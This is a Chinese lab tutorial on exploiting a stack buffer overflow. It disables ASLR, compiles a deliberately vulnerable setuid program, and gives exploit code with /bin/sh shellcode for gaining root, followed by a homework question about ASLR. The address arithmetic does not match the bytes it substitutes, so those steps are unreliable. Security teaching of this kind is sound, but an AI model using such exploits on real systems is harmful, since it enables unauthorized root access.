缓冲区溢出漏洞实验

实验准备

实验环境需要32位的Linux系统,需要下载安装一些用于编译 32 位 C 程序的软件包,代码如下:

$ sudo apt-get update$ sudo apt-get install -y lib32z1 libc6-dev-i386$ sudo apt-get install -y lib32readline-gplv2-dev

实验内容

初始设置

1.使用命令

$ sudo sysctl -w kernel.randomize_va_space=0

来关闭地址空间随机化。

2.用另一个 shell 程序(zsh)代替 /bin/bash,代码如下:

$ sudo su$ cd /bin$ rm sh$ ln -s zsh sh$ exit

3.输入/bin/bash

shellcode

一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。

漏洞程序

1.在 /tmp 目录下新建一个 stack.c 文件:

$ cd /tmp
$ vi stack.c

代码如下:

/* stack.c *//* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>int bof(char *str)
{char buffer[12];/* The following statement has a buffer overflow problem */ strcpy(buffer, str);return 1;
}int main(int argc, char **argv)
{char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;
}

2.编译该程序,并设置 SET-UID。命令如下:

$ sudo su$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c$ chmod u+s stack$ exit

攻击程序

1.在 /tmp 目录下新建一个 exploit.c 文件,代码如下:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>char shellcode[] ="\x31\xc0" //xorl %eax,%eax"\x50"     //pushl %eax"\x68""//sh" //pushl $0x68732f2f"\x68""/bin"     //pushl $0x6e69622f"\x89\xe3" //movl %esp,%ebx"\x50"     //pushl %eax"\x53"     //pushl %ebx"\x89\xe1" //movl %esp,%ecx"\x99"     //cdq"\xb0\x0b" //movb $0x0b,%al"\xcd\x80" //int $0x80;void main(int argc, char **argv)
{char buffer[517];FILE *badfile;/* Initialize buffer with 0x90 (NOP instruction) */memset(&buffer, 0x90, 517);/* You need to fill the buffer with appropriate contents here */strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100/* Save the contents to the file "badfile" */badfile = fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile);
}

2.要得到 shellcode 在内存中的地址,输入命令:

$ gdb stack$ disass main




3.根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffd420(十六进制) + 0x64(100的十六进制) = 0xffffd484(十六进制)

现在修改exploit.c文件!将 \x??\x??\x??\x?? 修改为 \xc4\xd0\xff\xff

然后,编译 exploit.c 程序:

$ gcc -m32 -o exploit exploit.c

攻击结果

作业题

通过命令

sudo sysctl -w kernel.randomize_va_space=2

打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。

转载于:https://www.cnblogs.com/heyanda/p/9785805.html

20165232 缓冲区溢出漏洞实验相关推荐

  1. Linux实验——缓冲区溢出漏洞实验

    Linux实验--缓冲区溢出漏洞实验 20125121 一.     实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代 ...

  2. 实验一缓冲区溢出漏洞实验

    一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭, ...

  3. SEED实验系列:缓冲区溢出漏洞实验

    2019独角兽企业重金招聘Python工程师标准>>> 本文详细出自http://www.shiyanlou.com/courses/231,转载请注明出处. 一.实验描述 缓冲区溢 ...

  4. php crypt函数缓冲区溢出漏洞,简单缓冲区溢出漏洞攻击实验

    缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回 ...

  5. 缓冲区溢出漏洞攻击演示实验(CProxy 6.2缓冲区溢出漏洞)

    实验内容: 分析缓冲区溢出漏洞,利用CCProxy 6.2的这个缓冲区溢出漏洞,利用ping命令向其发送一个长的字符串,溢出局部变量,覆盖RET的位置,从而实现程序跳转到自己想要让其执行的程序上去. ...

  6. 缓冲区溢出漏洞攻击——Shellcode编写

    一.实验内容 利用一个程序漏洞,编写shellcode,达成效果:蹦出对话框,显示"You have been hacked!(by JWM)" 二.实验原理 因为输入了过长的字符 ...

  7. QQ旋风爆缓冲区溢出漏洞

    据金山毒霸安全实验室5月7日透露,金山毒霸安全实验室研究人员进行例行漏洞检查过程中,发现QQ旋风存在一鲜为人知的缓冲区溢出0day漏洞,***者可以利用该漏洞制造恶意URL,使用IE6,7内核的各种浏 ...

  8. 缓冲区溢出漏洞_缓冲区溢出漏洞简介

    缓冲区溢出漏洞 重点 (Top highlight) 缓冲 (Buffer) A buffer is a temporary storage, usually present in the physi ...

  9. 浅析缓冲区溢出漏洞的利用与Shellcode编写

    文章目录 前言 汇编语言 寄存器 内存堆栈 CPU指令 函数调用 缓冲区溢出 栈溢出原理 栈溢出攻击 ShellCode 总结 前言 缓冲区溢出(Buffer Overflow)是计算机安全领域内既经 ...

最新文章

  1. 文档服务器连接未响应,win7DNS服务器未响应或者未连接问题的解决
  2. 打印出两个set中差集_Java之两个Set集合的交集、差集和并集
  3. Ubuntu配置jdk环境变量
  4. devstack 安装trove newtone
  5. oracle load data infile
  6. 常见的几种最优化方法总结
  7. 江苏高考新方案定了!总分750分,科目“3+1+2”
  8. 苹果MacBookPro六核i9芯32G存4TB硬SSD560X显15寸顶配51352元(公号回复“苹果AI”下载PDF资料)
  9. hdu.6441 Find Integer
  10. 互联网大佬做公益,图什么?
  11. Spring Boot进阶(12):Spring Boot 如何获取Excel sheet页的数量?一文教会你 | 超级详细,建议收藏
  12. 分布式技术与实战第六课 分布式缓存设计
  13. ITIL Expert
  14. python opencv以MJPG读取usb摄像头
  15. 怎么清理mysql的死链接_网站死链如何解决?其实很简单
  16. 回溯法求地图填色实验(剪枝)
  17. Hive计算引擎大PK,万字长文解析MapRuce、Tez、Spark三大引擎
  18. PHP时间戳和日期互转换
  19. 大数除法(超长整数运算除法器)详解
  20. 优恩解答GDT放电管是怎么工作的

热门文章

  1. java方法和 IDEA Debug调试
  2. Java线程之多线程与多进程(3)——Java中的多线程
  3. pyqt5子窗口跳出主窗口_弹出式窗口与 可用性,转换和跳出率
  4. 一个小厂前端 Leader 如何筛选候选人?
  5. 洛谷 4115 Qtree4——链分治
  6. 关于cocos creator换装功能的实践与思考
  7. android面试详解
  8. VMware虚拟机12安装linux系统
  9. 用Python+Django在Eclipse环境下开发web网站【转】
  10. [转]android 获取手机GSM/CDMA信号信息